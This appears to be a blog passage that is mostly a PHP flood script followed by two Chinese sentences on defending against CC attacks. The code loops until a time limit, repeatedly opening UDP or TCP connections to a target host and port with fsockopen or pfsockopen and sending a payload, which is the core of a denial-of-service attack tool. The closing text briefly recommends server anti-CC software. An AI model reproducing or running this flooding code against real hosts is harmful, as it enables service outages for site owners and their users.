//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>


对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。
